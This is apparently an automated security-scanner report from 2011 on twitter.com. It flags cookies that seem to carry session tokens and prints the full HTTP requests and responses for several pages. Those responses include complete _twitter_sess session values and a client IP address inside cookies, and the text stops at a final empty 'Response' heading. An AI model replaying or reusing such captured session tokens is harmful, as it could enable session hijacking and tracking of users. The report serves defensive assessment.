HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:21 GMT Server: hi Status: 200 OK X-Transaction: 1296664280-74042-40764 ETag: "0edace0d06f2150d9ed1c97df1c5d809" Last-Modified: Wed, 02 Feb 2011 16:31:20 GMT X-Runtime: 0.02034 Content-Type: text/html; charset=utf-8 Content-Length: 50198 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657076752217773; path=/; expires=Thu, 03 Mar 2011 14:32:47 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /home HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 302 Found Date: Tue, 01 Feb 2011 14:32:47 GMT Server: hi Status: 302 Found Location: http://twitter.com/login?redirect_after_login=%2Fhome X-Runtime: 0.00315 Content-Type: text/html; charset=utf-8 Content-Length: 119 Cache-Control: no-cache, max-age=300 Set-Cookie: k=173.193.214.243.1296570765300464; path=/; expires=Tue, 08-Feb-11 14:32:45 GMT; domain=.twitter.com Set-Cookie: guest_id=129657076752217773; path=/; expires=Thu, 03 Mar 2011 14:32:47 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CToOcmV0dXJuX3RvIhxodHRwOi8vdHdpdHRlci5jb20vaG9tZToHaWQi%250AJTc1MWVkZGFkY2U0ZTA5ZWEzMjY1NDE4ZGY4ZDkwN2Y3IgpmbGFzaElDOidB%250AY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA%250AOg9jcmVhdGVkX2F0bCsIpNij4S0B--dcc4849ac34a78440fd009f0b72ed339fdb9dec1; domain=.twitter.com; path=/ Expires: Tue, 01 Feb 2011 14:37:45 GMT X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<html><body>You are being <a href="http://twitter.com/login?redirect_after_login=%2Fhome">redirected</a>.</body></html>
guest_id=129657079811198493; path=/; expires=Thu, 03 Mar 2011 14:33:18 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /jasmith579 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:18 GMT Server: hi Status: 200 OK X-Transaction: 1296570798-55196-13932 ETag: "a2ecebaaf9d3d360bc805f817b215a77" Last-Modified: Tue, 01 Feb 2011 14:33:18 GMT X-Runtime: 0.01289 Content-Type: text/html; charset=utf-8 Content-Length: 56069 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570798090853; path=/; expires=Tue, 08-Feb-11 14:33:18 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079811198493; path=/; expires=Thu, 03 Mar 2011 14:33:18 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTk3N2U3YTMxNDg1NWUwNjcwZTdlOTdmNDJhZjZjM2UyIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIIVCk4S0B--796785cfb0d38949a5ae8675f3a91166e867ce5c; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657077084360183; path=/; expires=Thu, 03 Mar 2011 14:32:50 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /jobs4writers HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:50 GMT Server: hi Status: 200 OK X-Transaction: 1296570770-98065-13077 ETag: "1b0bc4eda75c7bfc5a3aefe4e3c48102" Last-Modified: Tue, 01 Feb 2011 14:32:50 GMT X-Runtime: 0.01223 Content-Type: text/html; charset=utf-8 Content-Length: 48119 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570768635237; path=/; expires=Tue, 08-Feb-11 14:32:48 GMT; domain=.twitter.com Set-Cookie: guest_id=129657077084360183; path=/; expires=Thu, 03 Mar 2011 14:32:50 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTcyMDA4MmFhOWEwMTE0OWMzZjkwOWM2MTQwZmU4Yjc1Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIneWj4S0B--f76cb5e0d79a1f81cfaea789953eb10c055b5927; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129666135533188415; path=/; expires=Fri, 04 Mar 2011 15:42:35 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ligatt HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 15:42:35 GMT Server: hi Status: 200 OK X-Transaction: 1296661355-75046-21619 ETag: "31dfafc6b29dbec79c913fe638627e5f" Last-Modified: Wed, 02 Feb 2011 15:42:35 GMT X-Runtime: 0.01660 Content-Type: text/html; charset=utf-8 Content-Length: 47876 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296661353295022; path=/; expires=Wed, 09-Feb-11 15:42:33 GMT; domain=.twitter.com Set-Cookie: guest_id=129666135533188415; path=/; expires=Fri, 04 Mar 2011 15:42:35 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCEUbCuctAToHaWQiJWE2OWEyMWIxMTc5YTYw%250ANmZhN2Q3OTIyYzc5ZDYwNWQ4IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--a4e58d6dbb8d0ce1ed03c56c36f6c02738fdac86; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657079281895011; path=/; expires=Thu, 03 Mar 2011 14:33:12 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /lijobs_sales HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:12 GMT Server: hi Status: 200 OK X-Transaction: 1296570792-82751-28503 ETag: "932f52e7f7af6068f672d95cf3725d61" Last-Modified: Tue, 01 Feb 2011 14:33:12 GMT X-Runtime: 0.02091 Content-Type: text/html; charset=utf-8 Content-Length: 40921 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570792688045; path=/; expires=Tue, 08-Feb-11 14:33:12 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079281895011; path=/; expires=Thu, 03 Mar 2011 14:33:12 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWYzYTM1Mjk5ZGJhN2YzYzA1NDYxNzI4M2Q1NDUwYTVjIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIdDuk4S0B--20a6c586394dd649985d85da8e4da5d7defdfc8e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /login HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:30:08 GMT Server: hi Status: 200 OK X-Transaction: 1296664208-72921-43740 ETag: "9e328ea897d9f265c5b8ef97f400cc24" Last-Modified: Wed, 02 Feb 2011 16:30:08 GMT X-Runtime: 0.04025 Content-Type: text/html; charset=utf-8 Content-Length: 12714 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129666135282188420; path=/; expires=Fri, 04 Mar 2011 15:42:32 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /millenniumpr HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 15:42:32 GMT Server: hi Status: 200 OK X-Transaction: 1296661352-30168-38790 ETag: "f2a0e6c75327c6bde49026a33f441692" Last-Modified: Wed, 02 Feb 2011 15:42:32 GMT X-Runtime: 0.01902 Content-Type: text/html; charset=utf-8 Content-Length: 50941 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296661350385545; path=/; expires=Wed, 09-Feb-11 15:42:30 GMT; domain=.twitter.com Set-Cookie: guest_id=129666135282188420; path=/; expires=Fri, 04 Mar 2011 15:42:32 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCHkRCuctAToHaWQiJTI1ZmYyOGJhMWQwMGVm%250AYjE3ZjRhNzAyMGYyYTE0OTIyIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--273bebf8e6a59a26f05b04399dca4ed09cc2b74f; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /newtwitter HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:30:15 GMT Server: hi Status: 200 OK X-Transaction: 1296664215-56885-60479 ETag: "dfdf75561334d8648e7ee2273c92fd2f" Last-Modified: Wed, 02 Feb 2011 16:30:15 GMT X-Runtime: 0.03935 Content-Type: text/html; charset=utf-8 Content-Length: 6372 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /omniture HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:29:59 GMT Server: hi Status: 200 OK X-Transaction: 1296664199-46062-40825 ETag: "6d5a2b262abd92c51d2e68d240525fd9" Last-Modified: Wed, 02 Feb 2011 16:29:59 GMT X-Runtime: 0.01497 Content-Type: text/html; charset=utf-8 Content-Length: 50852 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /omniturecare HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:30:02 GMT Server: hi Status: 200 OK X-Transaction: 1296664202-14392-6419 ETag: "d24545a0d8d916c2d2e6b52256314eba" Last-Modified: Wed, 02 Feb 2011 16:30:02 GMT X-Runtime: 0.01363 Content-Type: text/html; charset=utf-8 Content-Length: 52408 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129666135281353758; path=/; expires=Fri, 04 Mar 2011 15:42:32 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbitz HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 15:42:32 GMT Server: hi Status: 200 OK X-Transaction: 1296661352-6519-32456 ETag: "c28bb37b2dd880759a3c3e7bbe9bbf76" Last-Modified: Wed, 02 Feb 2011 15:42:32 GMT X-Runtime: 0.01729 Content-Type: text/html; charset=utf-8 Content-Length: 50053 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296661350299032; path=/; expires=Wed, 09-Feb-11 15:42:30 GMT; domain=.twitter.com Set-Cookie: guest_id=129666135281353758; path=/; expires=Fri, 04 Mar 2011 15:42:32 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCHARCuctAToHaWQiJTI5YzUwMzZjM2IyNTkw%250AODE5YWQ5YTc2NTQwNjY3MDgyIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--6001935ba9443587464c66ae0b4df1de23ed2362; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /privacy HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:50 GMT Server: hi Status: 200 OK X-Transaction: 1296664310-58800-58905 ETag: "842af48e86ee2867639656bc4245deb8" Last-Modified: Wed, 02 Feb 2011 16:31:50 GMT X-Runtime: 0.04884 Content-Type: text/html; charset=utf-8 Content-Length: 18932 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657077116353647; path=/; expires=Thu, 03 Mar 2011 14:32:51 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /prolawrssfeed HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
